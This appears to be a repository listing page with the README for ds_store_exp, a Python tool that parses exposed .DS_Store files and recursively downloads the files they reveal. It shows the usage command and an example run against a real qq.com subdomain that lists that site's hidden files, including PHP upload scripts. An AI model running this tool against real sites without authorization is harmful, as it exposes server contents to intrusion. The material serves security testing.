https://github.com/lijiejie/ds_store_exp

A .DS_Store file disclosure exploit. It parses .DS_Store file and downloads files recursively.
https://github.com/lijiejie/ds_store_exp

Last synced: 5 days ago
JSON representation

A .DS_Store file disclosure exploit. It parses .DS_Store file and downloads files recursively.

• Host: GitHub
• URL: https://github.com/lijiejie/ds_store_exp
• Owner: lijiejie
• Created: 2017-01-24T11:48:50.000Z (almost 8 years ago)
• Default Branch: master
• Last Pushed: 2023-05-06T20:37:03.000Z (over 1 year ago)
• Last Synced: 2024-11-30T20:04:39.273Z (12 days ago)
• Language: Python
• Homepage:
• Size: 10.7 KB
• Stars: 1,540
• Watchers: 20
• Forks: 294
• Open Issues: 15
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - lijiejie/ds_store_exp - A .DS_Store file disclosure exploit. It parses .DS_Store file and downloads files recursively. (Python)

README

        
# ds\_store\_exp #

A **`.DS_Store`** file disclosure exploit. 

It parses .DS_Store file and downloads files recursively.

这是一个 .DS\_Store 文件泄漏利用脚本，它解析.DS_Store文件并递归地下载文件到本地。

    Usage: python ds_store_exp.py http://www.example.com/.DS_Store

## Install ##

	pip install ds-store requests

## Example ##

	ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

	hd.zj.qq.com/

	└── themes

	    └── galaxyw

	        ├── app

	        │   └── css

	        │       └── style.min.css

	        ├── cityData.min.js

	        ├── images

	        │   └── img

	        │       ├── bg-hd.png

	        │       ├── bg-item-activity.png

	        │       ├── bg-masker-pop.png

	        │       ├── btn-bm.png

	        │       ├── btn-login-qq.png

	        │       ├── btn-login-wx.png

	        │       ├── ico-add-pic.png

	        │       ├── ico-address.png

	        │       ├── ico-bm.png

	        │       ├── ico-duration-time.png

	        │       ├── ico-pop-close.png

	        │       ├── ico-right-top-delete.png

	        │       ├── page-login-hd.png

	        │       ├── pic-masker.png

	        │       └── ticket-selected.png

	        └── member

	            ├── assets

	            │   ├── css

	            │   │   ├── ace-reset.css

	            │   │   └── antd.css

	            │   └── lib

	            │       ├── cityData.min.js

	            │       └── ueditor

	            │           ├── index.html

	            │           ├── lang

	            │           │   └── zh-cn

	            │           │       ├── images

	            │           │       │   ├── copy.png

	            │           │       │   ├── localimage.png

	            │           │       │   ├── music.png

	            │           │       │   └── upload.png

	            │           │       └── zh-cn.js

	            │           ├── php

	            │           │   ├── action_crawler.php

	            │           │   ├── action_list.php

	            │           │   ├── action_upload.php

	            │           │   ├── config.json

	            │           │   ├── controller.php

	            │           │   └── Uploader.class.php

	            │           ├── ueditor.all.js

	            │           ├── ueditor.all.min.js

	            │           ├── ueditor.config.js

	            │           ├── ueditor.parse.js

	            │           └── ueditor.parse.min.js

	            └── static

	                ├── css

	                │   └── page.css

	                ├── img

	                │   ├── bg-table-title.png

	                │   ├── bg-tab-say.png

	                │   ├── ico-black-disabled.png

	                │   ├── ico-black-enabled.png

	                │   ├── ico-coorption-person.png

	                │   ├── ico-miss-person.png

	                │   ├── ico-mr-person.png

	                │   ├── ico-white-disabled.png

	                │   └── ico-white-enabled.png

	                └── scripts

	                    ├── js

	                    └── lib

	                        └── jquery.min.js

	

	21 directories, 48 files